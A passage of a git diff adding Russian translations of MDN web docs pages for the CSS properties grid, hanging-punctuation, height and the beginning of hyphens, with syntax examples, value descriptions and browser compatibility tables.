+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/grid/index.html b/files/ru/web/css/grid/index.html
new file mode 100644
index 0000000000..72a79c9131
--- /dev/null
+++ b/files/ru/web/css/grid/index.html
@@ -0,0 +1,247 @@
+---
+title: grid
+slug: Web/CSS/grid
+tags:
+  - CSS
+  - CSS свойства
+  - CSS сетка
+  - Ссылки
+translation_of: Web/CSS/grid
+---
+<h2 id="Общие_сведения">Общие сведения</h2>
+
+<p>Свойство CSS <strong><code>grid</code></strong> является сокращенной формой записи, которая  устанавливает значения для всех явных свойств сетки  (grid)  ({{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}},  и {{cssxref("grid-template-areas")}}), всех неявных свойств сетки (grid) ({{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-columns")}}, и {{cssxref("grid-auto-flow")}}), и свойств для промежутков между рядами и столбцами сетки ({{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}) в одной строчке.</p>
+
+<p class="note"><strong>Note:</strong> В одной строке grid могут быть описаны свойства только одного вида: явные или неявные. Подсвойства, которые не были описаны, принимают, как и в других сокращенных формах записи свойств, значения по умолчанию. Кроме того, при помощи сокращенной формы записи значения свойств для промежутков между рядами и столбцами сетки по умолчанию сбрасываются, несмотря на то, что они не могут быть установленны в сокращенной форме записи.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* &lt;'grid-template'&gt; значения*/
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+   [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+   &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>Определяет {{cssxref("grid-template")}} (шаблон сетки) включая {{cssxref("grid-template-columns")}} (столбцы), {{cssxref("grid-template-rows")}}  (ряды) и {{cssxref("grid-template-areas")}} (области).</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;?</code></dt>
+ <dd>Устанавливает auto-flow явно задавая  размещение по рядам с помощью  свойства {{cssxref("grid-template-rows")}} (и устанавливая свойство {{cssxref("grid-template-columns")}} в значение <code>none</code>) и уточняет, как должно работать авто-повторение столбцов при помощи свойства {{cssxref("grid-auto-columns")}} (и устанавливая {{cssxref("grid-auto-rows")}} в значение <code>auto</code>). Свойство {{cssxref("grid-auto-flow")}} может быть так же установлено для столбцев со свойством <code>dense</code> если оно определено.</dd>
+ <dd>
+ <p>Все остальные подсвойства grid сбрасываются в их начальные значения .</p>
+ </dd>
+ <dt><code>[ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>Устанавливает auto-flow явно задавая  размещение по столбцам с помощью  свойства {{cssxref("grid-template-columns")}} (и устанавливая свойство {{cssxref("grid-template-rows")}} в значение <code>none</code>) и уточняет, как должно работать авто-повторение рядов при помощи свойства {{cssxref("grid-auto-rows")}} (и устанавливая {{cssxref("grid-auto-columns")}} в значение <code>auto</code>). Свойство {{cssxref("grid-auto-flow")}} может быть так же установлено для рядов со свойством <code>dense</code> если оно определено.
+ <p>Все остальные подсвойства grid сбрасываются в их начальные значения .</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">#container {
+  display: grid;
+  grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  width: 50px;
+  height: 50px;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 150)}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+   <td>{{Spec2("CSS3 Grid")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOpera(44)}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[5]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatChrome("57.0")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("52.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatOperaMobile}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Реализован до  функциональных возможностей экспериментальной веб-платформы в <code>chrome://flags начиная </code>с Chrome 29.0.</p>
+
+<p>[2] Реализован за преимуществом <code>layout.css.grid.enabled</code> начиная с Gecko 40.0 {{geckoRelease("40.0")}}, имея значение по умолчанию <code>false</code>. Начиная с  Gecko 52.0 включено по умолчанию.</p>
+
+<p>[3] Internet Explorer и Edge реализуют <a href="https://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/">старую версию спецификации</a>, которая не поддерживает сокращенную форму записи <code>grid. Смотри </code><a href="https://wpdev.uservoice.com/forums/257854-microsoft-edge-developer/suggestions/6514853-update-css-grid">request for updating the implementation</a>.</p>
+
+<p>[4] Реализован до  функциональных возможностей экспериментальной веб-платформы в <code>chrome://flags</code> начиная с Opera 28.0.</p>
+
+<p>[5] Экспериментальная реализация доступна в Safari Technological Preview.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Звязанные свойства CSS: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li>
+ <li>Руководство по разметке сетки: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Руководство по разметке сетки: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><strong><a href="/en-US/docs/Web/CSS/Reference">CSS ссылки </a></strong></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Руководства</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Свойства</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-colunms</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Глоссарий</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/hanging-punctuation/index.html b/files/ru/web/css/hanging-punctuation/index.html
new file mode 100644
index 0000000000..fe8ed1a6a4
--- /dev/null
+++ b/files/ru/web/css/hanging-punctuation/index.html
@@ -0,0 +1,117 @@
+---
+title: hanging-punctuation
+slug: Web/CSS/hanging-punctuation
+tags:
+  - CSS
+translation_of: Web/CSS/hanging-punctuation
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">Свойство <strong><code>hanging-punctuation</code></strong> определяет как браузер будет отображать знаки пунктуации, попадающие в начало или в конец строки. Висячая пунктуация может располагаться за границами контейнера. </span></p>
+
+<pre class="brush:css no-line-numbers">/* Значения ключевых слов */
+hanging-punctuation: none;
+hanging-punctuation: first;
+hanging-punctuation: last;
+hanging-punctuation: force-end;
+hanging-punctuation: allow-end;
+
+/* Два ключевых слова */
+hanging-punctuation: first force-end;
+hanging-punctuation: first allow-end;
+hanging-punctuation: first last;
+hanging-punctuation: last force-end;
+hanging-punctuation: last allow-end;
+
+/* Три ключевых слова */
+hanging-punctuation: first force-end last;
+hanging-punctuation: first allow-end last;
+
+/* Общие значения */
+hanging-punctuation: inherit;
+hanging-punctuation: initial;
+hanging-punctuation: unset;
+</pre>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>hanging-punctuation</code>  может быть определено с помощью одного, двух или трех ключевых слов.</p>
+
+<ul>
+ <li>Для <strong>одного значения</strong> может быть использовано любое из описанных ниже значений.</li>
+ <li>Для <strong>двух значений</strong> используются следующие варианты:
+  <ul>
+   <li><code>first</code> вместе с одним из <code>last</code>, <code>allow-end</code> или <code>force-end</code></li>
+   <li><code>last</code> вместе с одним из <code>first</code>, <code>allow-end</code> или <code>force-end</code></li>
+  </ul>
+ </li>
+ <li>Для <strong>трех значений</strong> используются один из следующих вариантов:
+  <ul>
+   <li><code>first</code>, <code>allow-end</code> и <code>last</code></li>
+   <li><code>first</code>, <code>force-end</code> и <code>last</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Никакие символы не выносятся.</dd>
+ <dt><code>first</code></dt>
+ <dd>Открывающая скобка или кавычка в начале первой строки выровненного элемента будет вынесена.</dd>
+ <dt><code>last</code></dt>
+ <dd>Закрывающая скобка или кавычка последней строки выровненного элемента будет вынесена.</dd>
+ <dt><code>force-end</code></dt>
+ <dd>Точка или запятая в конце строки выносится.</dd>
+ <dt><code>allow-end</code></dt>
+ <dd>Точка или запятая в конце строки будет вынесена, если нет лучшего варианта для выравнивания.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html" style="white-space: pre-wrap;">&lt;p&gt;“Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur dignissim nunc mauris, et sollicitudin est scelerisque sed. Praesent laoreet tortor massa, sit amet vulputate nulla pharetra ut.”&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  hanging-punctuation: first last;
+  margin: .5rem;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Text", "#hanging-punctuation-property", "hanging-punctuation")}}</td>
+   <td>{{Spec2("CSS3 Text")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">Таблица совместимости была сформирована из структурированных данных. Если вы хотите уточнить информацию, пожалуйста, склонируйте репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-реквест.</div>
+
+<p>{{Compat("css.properties.hanging-punctuation")}}</p>
diff --git a/files/ru/web/css/height/index.html b/files/ru/web/css/height/index.html
new file mode 100644
index 0000000000..f1c79b7501
--- /dev/null
+++ b/files/ru/web/css/height/index.html
@@ -0,0 +1,175 @@
+---
+title: height
+slug: Web/CSS/height
+translation_of: Web/CSS/height
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS атрибут <strong><code>height</code></strong> позволят обозначать высоту элемента. По умолчанию, свойство определяет высоту <a href="/ru/docs/Web/CSS/box_model#content">внутренней области</a>. Если {{cssxref("box-sizing")}} имеет значение <code>border-box</code>, то свойство будет определять высоту <a href="/ru/docs/Web/CSS/box_model#border">области рамки</a>.<br>
+ <br>
+ {{EmbedInteractiveExample("pages/css/height.html")}}</p>
+
+<div class="hidden">
+<p>Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+</div>
+
+<p><br>
+ Атрибуты {{cssxref("min-height")}} и {{cssxref("max-height")}} при добавлении меняют значение {{Cssxref("height")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Значения-ключевые слова */
+height: auto;
+
+/* &lt;length&gt; значения */
+height: 120px;
+height: 10em;
+
+/* &lt;percentage&gt; значения */
+height: 75%;
+
+/* Глобальные значения */
+height: inherit;
+height: initial;
+height: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Высота - фиксированная величина.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Высота в процентах - размер относительно высоты родительского блока.</dd>
+ <dt><code>border-box</code> {{experimental_inline}}</dt>
+ <dd>Если присутствует, то предшествующие {{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} применяются к области рамки элемента.</dd>
+ <dt><code>content-box</code> {{experimental_inline}}</dt>
+ <dd>Если присутствует, то предшествующие {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} применяются к внутренней области элемента.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Браузер рассчитает и выберет высоту для указанного элемента.</dd>
+ <dt><code>fill</code> {{experimental_inline}}</dt>
+ <dd>Использует <code>fill-available</code> размер строки или <code>fill-available</code> размер блока, в зависимости от способа разметки.</dd>
+ <dt><code>max-content</code> {{experimental_inline}}</dt>
+ <dd>Внутренняя максимальная предпочтительная высота.</dd>
+ <dt><code>min-content</code> {{experimental_inline}}</dt>
+ <dd>Внутренняя минимальная предпочтительная высота.</dd>
+ <dt><code>available</code> {{experimental_inline}}</dt>
+ <dd>Высота содержащего блока минус вертикальные <code>margin</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">border</span></font> и <code>padding</code>.</dd>
+ <dt><code>fit-content</code> {{experimental_inline}}</dt>
+ <dd>Наибольшее из:
+ <ul>
+  <li>внутренняя минимальная высота</li>
+  <li>меньшая из внутренней предпочтительной высоты и доступной высоты</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример:</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;div id="taller"&gt;Я 50 пикселей в высоту.&lt;/div&gt;
+&lt;div id="shorter"&gt;Я 25 пикселей в высоту.&lt;/div&gt;
+&lt;div id="parent"&gt;
+  &lt;div id="child"&gt;
+    Моя высота - половина от высоты родителя.
+  &lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre><code>div {
+  width: 250px;
+  margin-bottom: 5px;
+  border: 2px solid blue;
+}
+
+#taller {
+  height: 50px;
+}
+
+#shorter {
+  height: 25px;
+}
+
+#parent {
+  height: 100px;
+}
+
+#child {
+  height: 50%;
+  width: 75%;
+}</code></pre>
+
+<p> </p>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Example', 'auto', 240)}}</p>
+
+<p> </p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Убедитесь, что элементы с <code>height</code> не обрезаются и / или не затеняют другое содержимое, когда страница масштабируется для увеличения размера текста. </p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html">Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>height</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-height-property', 'height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Добавляет поддержку значений {{cssxref("&lt;length&gt;")}} и уточняет, к какому элементу применяется.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</p>
+</div>
+
+<p>{{Compat("css.properties.height")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/box_model">Блочная модель</a>, {{cssxref("width")}}, {{cssxref("box-sizing")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}</li>
+</ul>
diff --git a/files/ru/web/css/hyphens/index.html b/files/ru/web/css/hyphens/index.html
new file mode 100644
index 0000000000..c6dc229c74
--- /dev/null
+++ b/files/ru/web/css/hyphens/index.html
@@ -0,0 +1,153 @@
+---
+title: hyphens
+slug: Web/CSS/hyphens
+translation_of: Web/CSS/hyphens
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>hyphens</code></strong> указывает, как следует переносить слова через дефис, когда текст переносится на несколько строк.</span> Оно может полность запретить перенос, делать перенос в местах, заданных вручную или позволять браузеру автоматически расставлять переносы, где это необходимо.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/hyphens.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>Правила расстановки переносов зависят от языка. В HTML язык определяется атрибутом <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code>, и браузеры применяют правила переноса только при присутствии данного атрибута и доступности соответствующего словаря для расстановки переносов. В XML необходимо использовать атрибут <code><a href="/en-US/docs/Web/SVG/Attribute/xml:lang">xml:lang</a></code>.</p>
+
+<div class="note">
